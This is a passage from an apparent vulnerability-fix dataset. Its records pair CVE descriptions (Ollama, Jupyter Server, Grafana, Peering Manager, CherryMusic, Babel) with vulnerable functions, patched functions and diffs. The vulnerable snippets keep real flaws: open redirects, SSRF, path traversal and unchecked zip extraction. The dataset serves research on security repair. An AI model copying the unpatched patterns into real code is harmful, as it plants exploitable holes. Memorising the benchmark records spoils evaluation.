{\n\t\treturn nil, err\n\t}\n\n\tparams, err := mf.GetParams(tempDir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmArch, err := mf.GetModelArch(\"\", tempDir, params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfn(api.ProgressResponse{Status: \"processing tensors\"})\n\tif err := mArch.GetTensors(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := mArch.LoadVocab(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tfn(api.ProgressResponse{Status: \"converting model\"})\n\n\t// TODO(mxyng): this should write directly into a layer\n\t// e.g. NewLayer(arch.Reader(), \"application/vnd.ollama.image.model\")\n\ttemp, err := os.CreateTemp(tempDir, \"fp16\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer temp.Close()\n\tdefer os.Remove(temp.Name())\n\n\tif err = mArch.WriteGGUF(temp); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif _, err := temp.Seek(0, io.SeekStart); err != nil {\n\t\treturn nil, err\n\t}\n\n\tlayer, err := NewLayer(temp, \"application/vnd.ollama.image.model\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbin, err := layer.Open()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer bin.Close()\n\n\tggml, _, err := llm.DecodeGGML(bin, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlayers = append(layers, &layerGGML{layer, ggml})\n\n\tintermediateBlobs[digest] = layer.Digest\n\treturn detectChatTemplate(layers)\n}"}, {"id": "fix_go_274_2", "commit": "123a722a6f541e300bc8e34297ac378ebe23f527", "file_path": "cmd/cmd.go", "start_line": 158, "end_line": 264, "snippet": "func tempZipFiles(path string) (string, error) {\n\ttempfile, err := os.CreateTemp(\"\", \"ollama-tf\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer tempfile.Close()\n\n\tdetectContentType := func(path string) (string, error) {\n\t\tf, err := os.Open(path)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer f.Close()\n\n\t\tvar b bytes.Buffer\n\t\tb.Grow(512)\n\n\t\tif _, err := io.CopyN(&b, f, 512); err != nil && !errors.Is(err, io.EOF) {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tcontentType, _, _ := strings.Cut(http.DetectContentType(b.Bytes()), \";\")\n\t\treturn contentType, nil\n\t}\n\n\tglob := func(pattern, contentType string) ([]string, error) {\n\t\tmatches, err := filepath.Glob(pattern)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, safetensor := range matches {\n\t\t\tif ct, err := detectContentType(safetensor); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t} else if ct != contentType {\n\t\t\t\treturn nil, fmt.Errorf(\"invalid content type: expected %s for %s\", ct, safetensor)\n\t\t\t}\n\t\t}\n\n\t\treturn matches, nil\n\t}\n\n\tvar files []string\n\tif st, _ := glob(filepath.Join(path, \"model*.safetensors\"), \"application/octet-stream\"); len(st) > 0 {\n\t\t// safetensors files might be unresolved git lfs references; skip if they are\n\t\t// covers model-x-of-y.safetensors, model.fp32-x-of-y.safetensors, model.safetensors\n\t\tfiles = append(files, st...)\n\t} else if pt, _ := glob(filepath.Join(path, \"pytorch_model*.bin\"), \"application/zip\"); len(pt) > 0 {\n\t\t// pytorch files might also be unresolved git lfs references; skip if they are\n\t\t// covers pytorch_model-x-of-y.bin, pytorch_model.fp32-x-of-y.bin, pytorch_model.bin\n\t\tfiles = append(files, pt...)\n\t} else if pt, _ := glob(filepath.Join(path, \"consolidated*.pth\"), \"application/zip\"); len(pt) > 0 {\n\t\t// pytorch files might also be unresolved git lfs references; skip if they are\n\t\t// covers consolidated.x.pth, consolidated.pth\n\t\tfiles = append(files, pt...)\n\t} else {\n\t\treturn \"\", errors.New(\"no safetensors or torch files found\")\n\t}\n\n\t// add configuration files, json files are detected as text/plain\n\tjs, err := glob(filepath.Join(path, \"*.json\"), \"text/plain\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfiles = append(files, js...)\n\n\tif tks, _ := glob(filepath.Join(path, \"tokenizer.model\"), \"application/octet-stream\"); len(tks) > 0 {\n\t\t// add tokenizer.model if it exists, tokenizer.json is automatically picked up by the previous glob\n\t\t// tokenizer.model might be a unresolved git lfs reference; error if it is\n\t\tfiles = append(files, tks...)\n\t} else if tks, _ := glob(filepath.Join(path, \"**/tokenizer.model\"), \"text/plain\"); len(tks) > 0 {\n\t\t// some times tokenizer.model is in a subdirectory (e.g. meta-llama/Meta-Llama-3-8B)\n\t\tfiles = append(files, tks...)\n\t}\n\n\tzipfile := zip.NewWriter(tempfile)\n\tdefer zipfile.Close()\n\n\tfor _, file := range files {\n\t\tf, err := os.Open(file)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer f.Close()\n\n\t\tfi, err := f.Stat()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tzfi, err := zip.FileInfoHeader(fi)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tzf, err := zipfile.CreateHeader(zfi)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif _, err := io.Copy(zf, f); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\treturn tempfile.Name(), nil\n}"}], "vul_patch": "--- a/server/model.go\n+++ b/server/model.go\n@@ -1,59 +1,25 @@\n func parseFromZipFile(_ context.Context, file *os.File, digest string, fn func(api.ProgressResponse)) (layers []*layerGGML, err error) {\n-\tstat, err := file.Stat()\n+\ttempDir, err := os.MkdirTemp(filepath.Dir(file.Name()), \"\")\n+\tif err != nil {\n+\t\treturn nil, err\n+\t}\n+\tdefer os.RemoveAll(tempDir)\n+\n+\tif err := extractFromZipFile(tempDir, file, fn); err != nil {\n+\t\treturn nil, err\n+\t}\n+\n+\tmf, err := convert.GetModelFormat(tempDir)\n \tif err != nil {\n \t\treturn nil, err\n \t}\n \n-\tr, err := zip.NewReader(file, stat.Size())\n+\tparams, err := mf.GetParams(tempDir)\n \tif err != nil {\n \t\treturn nil, err\n \t}\n \n-\ttempdir, err := os.MkdirTemp(filepath.Dir(file.Name()), \"\")\n-\tif err != nil {\n-\t\treturn nil, err\n-\t}\n-\tdefer os.RemoveAll(tempdir)\n-\n-\tfn(api.ProgressResponse{Status: \"unpacking model metadata\"})\n-\tfor _, f := range r.File {\n-\t\t// TODO(mxyng): this should not write out all files to disk\n-\t\toutfile, err := os.Create(filepath.Join(tempdir, f.Name))\n-\t\tif err != nil {\n-\t\t\treturn nil, err\n-\t\t}\n-\t\tdefer outfile.Close()\n-\n-\t\tinfile, err := f.Open()\n-\t\tif err != nil {\n-\t\t\treturn nil, err\n-\t\t}\n-\t\tdefer infile.Close()\n-\n-\t\tif _, err = io.Copy(outfile, infile); err != nil {\n-\t\t\treturn nil, err\n-\t\t}\n-\n-\t\tif err := outfile.Close(); err != nil {\n-\t\t\treturn nil, err\n-\t\t}\n-\n-\t\tif err := infile.Close(); err != nil {\n-\t\t\treturn nil, err\n-\t\t}\n-\t}\n-\n-\tmf, err := convert.GetModelFormat(tempdir)\n-\tif err != nil {\n-\t\treturn nil, err\n-\t}\n-\n-\tparams, err := mf.GetParams(tempdir)\n-\tif err != nil {\n-\t\treturn nil, err\n-\t}\n-\n-\tmArch, err := mf.GetModelArch(\"\", tempdir, params)\n+\tmArch, err := mf.GetModelArch(\"\", tempDir, params)\n \tif err != nil {\n \t\treturn nil, err\n \t}\n@@ -71,7 +37,7 @@\n \n \t// TODO(mxyng): this should write directly into a layer\n \t// e.g. NewLayer(arch.Reader(), \"application/vnd.ollama.image.model\")\n-\ttemp, err := os.CreateTemp(tempdir, \"fp16\")\n+\ttemp, err := os.CreateTemp(tempDir, \"fp16\")\n \tif err != nil {\n \t\treturn nil, err\n \t}\n\n--- a/cmd/cmd.go\n+++ b/cmd/cmd.go\n@@ -4,9 +4,6 @@\n \t\treturn \"\", err\n \t}\n \tdefer tempfile.Close()\n-\n-\tzipfile := zip.NewWriter(tempfile)\n-\tdefer zipfile.Close()\n \n \tdetectContentType := func(path string) (string, error) {\n \t\tf, err := os.Open(path)\n@@ -76,6 +73,9 @@\n \t\tfiles = append(files, tks...)\n \t}\n \n+\tzipfile := zip.NewWriter(tempfile)\n+\tdefer zipfile.Close()\n+\n \tfor _, file := range files {\n \t\tf, err := os.Open(file)\n \t\tif err != nil {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-39968", "cve_description": "jupyter-server is the backend for Jupyter web applications. Open Redirect Vulnerability. Maliciously crafted login links to known Jupyter Servers can cause successful login or an already logged-in session to be redirected to arbitrary sites, which should be restricted to Jupyter Server-served URLs. This issue has been addressed in commit `29036259` which is included in release 2.7.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/jupyter-server/jupyter_server", "patch_url": ["https://github.com/jupyter-server/jupyter_server/commit/290362593b2ffb23c59f8114d76f77875de4b925"], "programing_language": "Python", "vul_func": [{"id": "vul_py_220_1", "commit": "87a4927", "file_path": "jupyter_server/auth/login.py", "start_line": 31, "end_line": 61, "snippet": "    def _redirect_safe(self, url, default=None):\n        \"\"\"Redirect if url is on our PATH\n\n        Full-domain redirects are allowed if they pass our CORS origin checks.\n\n        Otherwise use default (self.base_url if unspecified).\n        \"\"\"\n        if default is None:\n            default = self.base_url\n        # protect chrome users from mishandling unescaped backslashes.\n        # \\ is not valid in urls, but some browsers treat it as /\n        # instead of %5C, causing `\\\\` to behave as `//`\n        url = url.replace(\"\\\\\", \"%5C\")\n        parsed = urlparse(url)\n        if parsed.netloc or not (parsed.path + \"/\").startswith(self.base_url):\n            # require that next_url be absolute path within our path\n            allow = False\n            # OR pass our cross-origin check\n            if parsed.netloc:\n                # if full URL, run our cross-origin check:\n                origin = f\"{parsed.scheme}://{parsed.netloc}\"\n                origin = origin.lower()\n                if self.allow_origin:\n                    allow = self.allow_origin == origin\n                elif self.allow_origin_pat:\n                    allow = bool(re.match(self.allow_origin_pat, origin))\n            if not allow:\n                # not allowed, use default\n                self.log.warning(\"Not allowing login redirect to %r\" % url)\n                url = default\n        self.redirect(url)"}], "fix_func": [{"id": "fix_py_220_1", "commit": "2903625", "file_path": "jupyter_server/auth/login.py", "start_line": 31, "end_line": 74, "snippet": "    def _redirect_safe(self, url, default=None):\n        \"\"\"Redirect if url is on our PATH\n\n        Full-domain redirects are allowed if they pass our CORS origin checks.\n\n        Otherwise use default (self.base_url if unspecified).\n        \"\"\"\n        if default is None:\n            default = self.base_url\n        # protect chrome users from mishandling unescaped backslashes.\n        # \\ is not valid in urls, but some browsers treat it as /\n        # instead of %5C, causing `\\\\` to behave as `//`\n        url = url.replace(\"\\\\\", \"%5C\")\n        # urllib and browsers interpret extra '/' in the scheme separator (`scheme:///host/path`)\n        # differently.\n        # urllib gives scheme=scheme, netloc='', path='/host/path', while\n        # browsers get scheme=scheme, netloc='host', path='/path'\n        # so make sure ':///*' collapses to '://' by splitting and stripping any additional leading slash\n        # don't allow any kind of `:/` shenanigans by splitting on ':' only\n        # and replacing `:/*` with exactly `://`\n        if \":\" in url:\n            scheme, _, rest = url.partition(\":\")\n            url = f\"{scheme}://{rest.lstrip('/')}\"\n        parsed = urlparse(url)\n        # full url may be `//host/path` (empty scheme == same scheme as request)\n        # or `https://host/path`\n        # or even `https:///host/path` (invalid, but accepted and ambiguously interpreted)\n        if (parsed.scheme or parsed.netloc) or not (parsed.path + \"/\").startswith(self.base_url):\n            # require that next_url be absolute path within our path\n            allow = False\n            # OR pass our cross-origin check\n            if parsed.scheme or parsed.netloc:\n                # if full URL, run our cross-origin check:\n                origin = f\"{parsed.scheme}://{parsed.netloc}\"\n                origin = origin.lower()\n                if self.allow_origin:\n                    allow = self.allow_origin == origin\n                elif self.allow_origin_pat:\n                    allow = bool(re.match(self.allow_origin_pat, origin))\n            if not allow:\n                # not allowed, use default\n                self.log.warning(\"Not allowing login redirect to %r\" % url)\n                url = default\n        self.redirect(url)"}], "vul_patch": "--- a/jupyter_server/auth/login.py\n+++ b/jupyter_server/auth/login.py\n@@ -11,12 +11,25 @@\n         # \\ is not valid in urls, but some browsers treat it as /\n         # instead of %5C, causing `\\\\` to behave as `//`\n         url = url.replace(\"\\\\\", \"%5C\")\n+        # urllib and browsers interpret extra '/' in the scheme separator (`scheme:///host/path`)\n+        # differently.\n+        # urllib gives scheme=scheme, netloc='', path='/host/path', while\n+        # browsers get scheme=scheme, netloc='host', path='/path'\n+        # so make sure ':///*' collapses to '://' by splitting and stripping any additional leading slash\n+        # don't allow any kind of `:/` shenanigans by splitting on ':' only\n+        # and replacing `:/*` with exactly `://`\n+        if \":\" in url:\n+            scheme, _, rest = url.partition(\":\")\n+            url = f\"{scheme}://{rest.lstrip('/')}\"\n         parsed = urlparse(url)\n-        if parsed.netloc or not (parsed.path + \"/\").startswith(self.base_url):\n+        # full url may be `//host/path` (empty scheme == same scheme as request)\n+        # or `https://host/path`\n+        # or even `https:///host/path` (invalid, but accepted and ambiguously interpreted)\n+        if (parsed.scheme or parsed.netloc) or not (parsed.path + \"/\").startswith(self.base_url):\n             # require that next_url be absolute path within our path\n             allow = False\n             # OR pass our cross-origin check\n-            if parsed.netloc:\n+            if parsed.scheme or parsed.netloc:\n                 # if full URL, run our cross-origin check:\n                 origin = f\"{parsed.scheme}://{parsed.netloc}\"\n                 origin = origin.lower()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-13379", "cve_description": "The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client. This can be used to gain information about the network that Grafana is running on. Furthermore, passing invalid URL objects could be used for DOS'ing Grafana via SegFault.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/grafana/grafana", "patch_url": ["https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192"], "programing_language": "Go", "vul_func": [{"id": "vul_go_189_1", "commit": "e5414f4", "file_path": "pkg/api/avatar/avatar.go", "start_line": 76, "end_line": 116, "snippet": "func (this *CacheServer) Handler(ctx *macaron.Context) {\n\turlPath := ctx.Req.URL.Path\n\thash := urlPath[strings.LastIndex(urlPath, \"/\")+1:]\n\n\tvar avatar *Avatar\n\tobj, exists := this.cache.Get(hash)\n\tif exists {\n\t\tavatar = obj.(*Avatar)\n\t} else {\n\t\tavatar = New(hash)\n\t}\n\n\tif avatar.Expired() {\n\t\t// The cache item is either expired or newly created, update it from the server\n\t\tif err := avatar.Update(); err != nil {\n\t\t\tlog.Trace(\"avatar update error: %v\", err)\n\t\t\tavatar = this.notFound\n\t\t}\n\t}\n\n\tif avatar.notFound {\n\t\tavatar = this.notFound\n\t} else if !exists {\n\t\tif err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {\n\t\t\tlog.Trace(\"Error adding avatar to cache: %s\", err)\n\t\t}\n\t}\n\n\tctx.Resp.Header().Add(\"Content-Type\", \"image/jpeg\")\n\n\tif !setting.EnableGzip {\n\t\tctx.Resp.Header().Add(\"Content-Length\", strconv.Itoa(len(avatar.data.Bytes())))\n\t}\n\n\tctx.Resp.Header().Add(\"Cache-Control\", \"private, max-age=3600\")\n\n\tif err := avatar.Encode(ctx.Resp); err != nil {\n\t\tlog.Warn(\"avatar encode error: %v\", err)\n\t\tctx.WriteHeader(500)\n\t}\n}"}], "fix_func": [{"id": "fix_go_189_1", "commit": "ba953be", "file_path": "pkg/api/avatar/avatar.go", "start_line": 76, "end_line": 122, "snippet": "var validMD5 = regexp.MustCompile(\"^[a-fA-F0-9]{32}$\")\n\nfunc (this *CacheServer) Handler(ctx *models.ReqContext) {\n\thash := ctx.Params(\"hash\")\n\n\tif len(hash) != 32 || !validMD5.MatchString(hash) {\n\t\tctx.JsonApiErr(404, \"Avatar not found\", nil)\n\t\treturn\n\t}\n\n\tvar avatar *Avatar\n\tobj, exists := this.cache.Get(hash)\n\tif exists {\n\t\tavatar = obj.(*Avatar)\n\t} else {\n\t\tavatar = New(hash)\n\t}\n\n\tif avatar.Expired() {\n\t\t// The cache item is either expired or newly created, update it from the server\n\t\tif err := avatar.Update(); err != nil {\n\t\t\tlog.Trace(\"avatar update error: %v\", err)\n\t\t\tavatar = this.notFound\n\t\t}\n\t}\n\n\tif avatar.notFound {\n\t\tavatar = this.notFound\n\t} else if !exists {\n\t\tif err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {\n\t\t\tlog.Trace(\"Error adding avatar to cache: %s\", err)\n\t\t}\n\t}\n\n\tctx.Resp.Header().Add(\"Content-Type\", \"image/jpeg\")\n\n\tif !setting.EnableGzip {\n\t\tctx.Resp.Header().Add(\"Content-Length\", strconv.Itoa(len(avatar.data.Bytes())))\n\t}\n\n\tctx.Resp.Header().Add(\"Cache-Control\", \"private, max-age=3600\")\n\n\tif err := avatar.Encode(ctx.Resp); err != nil {\n\t\tlog.Warn(\"avatar encode error: %v\", err)\n\t\tctx.WriteHeader(500)\n\t}\n}"}], "vul_patch": "--- a/pkg/api/avatar/avatar.go\n+++ b/pkg/api/avatar/avatar.go\n@@ -1,6 +1,12 @@\n-func (this *CacheServer) Handler(ctx *macaron.Context) {\n-\turlPath := ctx.Req.URL.Path\n-\thash := urlPath[strings.LastIndex(urlPath, \"/\")+1:]\n+var validMD5 = regexp.MustCompile(\"^[a-fA-F0-9]{32}$\")\n+\n+func (this *CacheServer) Handler(ctx *models.ReqContext) {\n+\thash := ctx.Params(\"hash\")\n+\n+\tif len(hash) != 32 || !validMD5.MatchString(hash) {\n+\t\tctx.JsonApiErr(404, \"Avatar not found\", nil)\n+\t\treturn\n+\t}\n \n \tvar avatar *Avatar\n \tobj, exists := this.cache.Get(hash)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-28113", "cve_description": "Peering Manager is a BGP session management tool. In Peering Manager <=1.8.2, it is possible to redirect users to an arbitrary page using a crafted url. As a result users can be redirected to an unexpected location. This issue has been addressed in version 1.8.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/peering-manager/peering-manager", "patch_url": ["https://github.com/peering-manager/peering-manager/commit/49dc5593184d7740d81e57dbbe3f971d2969dfac"], "programing_language": "Python", "vul_func": [{"id": "vul_py_219_1", "commit": "8a865fb", "file_path": "utils/views.py", "start_line": 38, "end_line": 43, "snippet": "    def get_return_url(self, request, instance=None):\n        # Check if `return_url` was specified as a query parameter or form\n        # data, use this URL only if it's safe\n        return_url = request.GET.get(\"return_url\") or request.POST.get(\"return_url\")\n        if return_url and return_url.startswith(\"/\"):\n            return return_url"}], "fix_func": [{"id": "fix_py_219_1", "commit": "49dc559", "file_path": "utils/views.py", "start_line": 40, "end_line": 45, "snippet": "    def get_return_url(self, request, instance=None):\n        # Check if `return_url` was specified as a query parameter or form\n        # data, use this URL only if it's not absolute\n        return_url = request.GET.get(\"return_url\") or request.POST.get(\"return_url\")\n        if return_url and not bool(urlparse(return_url).netloc):\n            return return_url"}], "vul_patch": "--- a/utils/views.py\n+++ b/utils/views.py\n@@ -1,6 +1,6 @@\n     def get_return_url(self, request, instance=None):\n         # Check if `return_url` was specified as a query parameter or form\n-        # data, use this URL only if it's safe\n+        # data, use this URL only if it's not absolute\n         return_url = request.GET.get(\"return_url\") or request.POST.get(\"return_url\")\n-        if return_url and return_url.startswith(\"/\"):\n+        if return_url and not bool(urlparse(return_url).netloc):\n             return return_url\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-8309", "cve_description": "Directory traversal vulnerability in Cherry Music before 0.36.0 allows remote authenticated users to read arbitrary files via the \"value\" parameter to \"download.\"", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/devsnd/cherrymusic", "patch_url": ["https://github.com/devsnd/cherrymusic/commit/62dec34a1ea0741400dd6b6c660d303dcd651e86"], "programing_language": "Python", "vul_func": [{"id": "vul_py_199_1", "commit": "82ad793", "file_path": "cherrymusicserver/httphandler.py", "start_line": 295, "end_line": 313, "snippet": "    def download_check_files(self, filelist):\n        # only admins and allowed users may download\n        if not cherrypy.session['admin']:\n            uo = self.useroptions.forUser(self.getUserId())\n            if not uo.getOptionValue('media.may_download'):\n                return 'not_permitted'\n        # make sure nobody tries to escape from basedir\n        for f in filelist:\n            if '/../' in f:\n                return 'invalid_file'\n        # make sure all files are smaller than maximum download size\n        size_limit = cherry.config['media.maximum_download_size']\n        try:\n            if self.model.file_size_within_limit(filelist, size_limit):\n                return 'ok'\n            else:\n                return 'too_big'\n        except OSError as e:        # use OSError for python2 compatibility\n            return str(e)"}], "fix_func": [{"id": "fix_py_199_1", "commit": "62dec34", "file_path": "cherrymusicserver/httphandler.py", "start_line": 295, "end_line": 317, "snippet": "    def download_check_files(self, filelist):\n        # only admins and allowed users may download\n        if not cherrypy.session['admin']:\n            uo = self.useroptions.forUser(self.getUserId())\n            if not uo.getOptionValue('media.may_download'):\n                return 'not_permitted'\n        # make sure nobody tries to escape from basedir\n        for f in filelist:\n            # don't allow to traverse up in the file system\n            if '/../' in f or f.startswith('../'):\n                return 'invalid_file'\n            # CVE-2015-8309: do not allow absolute file paths\n            if os.path.isabs(f):\n                return 'invalid_file'\n        # make sure all files are smaller than maximum download size\n        size_limit = cherry.config['media.maximum_download_size']\n        try:\n            if self.model.file_size_within_limit(filelist, size_limit):\n                return 'ok'\n            else:\n                return 'too_big'\n        except OSError as e:        # use OSError for python2 compatibility\n            return str(e)"}], "vul_patch": "--- a/cherrymusicserver/httphandler.py\n+++ b/cherrymusicserver/httphandler.py\n@@ -6,7 +6,11 @@\n                 return 'not_permitted'\n         # make sure nobody tries to escape from basedir\n         for f in filelist:\n-            if '/../' in f:\n+            # don't allow to traverse up in the file system\n+            if '/../' in f or f.startswith('../'):\n+                return 'invalid_file'\n+            # CVE-2015-8309: do not allow absolute file paths\n+            if os.path.isabs(f):\n                 return 'invalid_file'\n         # make sure all files are smaller than maximum download size\n         size_limit = cherry.config['media.maximum_download_size']\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-42771", "cve_description": "Babel.Locale in Babel before 2.9.1 allows attackers to load arbitrary locale .dat files (containing serialized Python objects) via directory traversal, leading to code execution.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/python-babel/babel", "patch_url": ["https://github.com/python-babel/babel/commit/412015ef642bfcc0d8ba8f4d05cdbb6aac98d9b3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_331_1", "commit": "5afe2b2", "file_path": "babel/localedata.py", "start_line": 41, "end_line": 53, "snippet": "def exists(name):\n    \"\"\"Check whether locale data is available for the given locale.\n\n    Returns `True` if it exists, `False` otherwise.\n\n    :param name: the locale identifier string\n    \"\"\"\n    if not name or not isinstance(name, string_types):\n        return False\n    if name in _cache:\n        return True\n    file_found = os.path.exists(os.path.join(_dirname, '%s.dat' % name))\n    return True if file_found else bool(normalize_locale(name))"}, {"id": "vul_py_331_2", "commit": "5afe2b2", "file_path": "babel/localedata.py", "start_line": 56, "end_line": 131, "snippet": "def locale_identifiers():\n    \"\"\"Return a list of all locale identifiers for which locale data is\n    available.\n\n    This data is cached after the first invocation in `locale_identifiers.cache`.\n\n    Removing the `locale_identifiers.cache` attribute or setting it to `None`\n    will cause this function to re-read the list from disk.\n\n    .. versionadded:: 0.8.1\n\n    :return: a list of locale identifiers (strings)\n    \"\"\"\n    data = getattr(locale_identifiers, 'cache', None)\n    if data is None:\n        locale_identifiers.cache = data = [\n            stem\n            for stem, extension in\n            (os.path.splitext(filename) for filename in os.listdir(_dirname))\n            if extension == '.dat' and stem != 'root'\n        ]\n    return data\n\n\ndef load(name, merge_inherited=True):\n    \"\"\"Load the locale data for the given locale.\n\n    The locale data is a dictionary that contains much of the data defined by\n    the Common Locale Data Repository (CLDR). This data is stored as a\n    collection of pickle files inside the ``babel`` package.\n\n    >>> d = load('en_US')\n    >>> d['languages']['sv']\n    u'Swedish'\n\n    Note that the results are cached, and subsequent requests for the same\n    locale return the same dictionary:\n\n    >>> d1 = load('en_US')\n    >>> d2 = load('en_US')\n    >>> d1 is d2\n    True\n\n    :param name: the locale identifier string (or \"root\")\n    :param merge_inherited: whether the inherited data should be merged into\n                            the data of the requested locale\n    :raise `IOError`: if no locale data file is found for the given locale\n                      identifer, or one of the locales it inherits from\n    \"\"\"\n    _cache_lock.acquire()\n    try:\n        data = _cache.get(name)\n        if not data:\n            # Load inherited data\n            if name == 'root' or not merge_inherited:\n                data = {}\n            else:\n                from babel.core import get_global\n                parent = get_global('parent_exceptions').get(name)\n                if not parent:\n                    parts = name.split('_')\n                    if len(parts) == 1:\n                        parent = 'root'\n                    else:\n                        parent = '_'.join(parts[:-1])\n                data = load(parent).copy()\n            filename = os.path.join(_dirname, '%s.dat' % name)\n            with open(filename, 'rb') as fileobj:\n                if name != 'root' and merge_inherited:\n                    merge(data, pickle.load(fileobj))\n                else:\n                    data = pickle.load(fileobj)\n            _cache[name] = data\n        return data\n    finally:\n        _cache_lock.release()"}], "fix_func": [{"id": "fix_py_331_1", "commit": "412015ef642bfcc0d8ba8f4d05cdbb6aac98d9b3", "file_path": "babel/localedata.py", "start_line": 60, "end_line": 72, "snippet": "def exists(name):\n    \"\"\"Check whether locale data is available for the given locale.\n\n    Returns `True` if it exists, `False` otherwise.\n\n    :param name: the locale identifier string\n    \"\"\"\n    if not name or not isinstance(name, string_types):\n        return False\n    if name in _cache:\n        return True\n    file_found = os.path.exists(resolve_locale_filename(name))\n    return True if file_found else bool(normalize_locale(name))"}, {"id": "fix_py_331_2", "commit": "412015ef642bfcc0d8ba8f4d05cdbb6aac98d9b3", "file_path": "babel/localedata.py", "start_line": 75, "end_line": 151, "snippet": "def locale_identifiers():\n    \"\"\"Return a list of all locale identifiers for which locale data is\n    available.\n\n    This data is cached after the first invocation in `locale_identifiers.cache`.\n\n    Removing the `locale_identifiers.cache` attribute or setting it to `None`\n    will cause this function to re-read the list from disk.\n\n    .. versionadded:: 0.8.1\n\n    :return: a list of locale identifiers (strings)\n    \"\"\"\n    data = getattr(locale_identifiers, 'cache', None)\n    if data is None:\n        locale_identifiers.cache = data = [\n            stem\n            for stem, extension in\n            (os.path.splitext(filename) for filename in os.listdir(_dirname))\n            if extension == '.dat' and stem != 'root'\n        ]\n    return data\n\n\ndef load(name, merge_inherited=True):\n    \"\"\"Load the locale data for the given locale.\n\n    The locale data is a dictionary that contains much of the data defined by\n    the Common Locale Data Repository (CLDR). This data is stored as a\n    collection of pickle files inside the ``babel`` package.\n\n    >>> d = load('en_US')\n    >>> d['languages']['sv']\n    u'Swedish'\n\n    Note that the results are cached, and subsequent requests for the same\n    locale return the same dictionary:\n\n    >>> d1 = load('en_US')\n    >>> d2 = load('en_US')\n    >>> d1 is d2\n    True\n\n    :param name: the locale identifier string (or \"root\")\n    :param merge_inherited: whether the inherited data should be merged into\n                            the data of the requested locale\n    :raise `IOError`: if no locale data file is found for the given locale\n                      identifer, or one of the locales it inherits from\n    \"\"\"\n    name = os.path.basename(name)\n    _cache_lock.acquire()\n    try:\n        data = _cache.get(name)\n        if not data:\n            # Load inherited data\n            if name == 'root' or not merge_inherited:\n                data = {}\n            else:\n                from babel.core import get_global\n                parent = get_global('parent_exceptions').get(name)\n                if not parent:\n                    parts = name.split('_')\n                    if len(parts) == 1:\n                        parent = 'root'\n                    else:\n                        parent = '_'.join(parts[:-1])\n                data = load(parent).copy()\n            filename = resolve_locale_filename(name)\n            with open(filename, 'rb') as fileobj:\n                if name != 'root' and merge_inherited:\n                    merge(data, pickle.load(fileobj))\n                else:\n                    data = pickle.load(fileobj)\n            _cache[name] = data\n        return data\n    finally:\n        _cache_lock.release()"}, {"id": "fix_py_331_3", "commit": "412015ef642bfcc0d8ba8f4d05cdbb6aac98d9b3", "file_path": "babel/localedata.py", "start_line": 44, "end_line": 59, "snippet": "def resolve_locale_filename(name):\n    \"\"\"\n    Resolve a locale identifier to a `.dat` path on disk.\n    \"\"\"\n\n    # Clean up any possible relative paths.\n    name = os.path.basename(name)\n\n    # Ensure we're not left with one of the Windows reserved names.\n    if sys.platform == \"win32\" and _windows_reserved_name_re.match(os.path.splitext(name)[0]):\n        raise ValueError(\"Name %s is invalid on Windows\" % name)\n\n    # Build the path.\n    return os.path.join(_dirname, 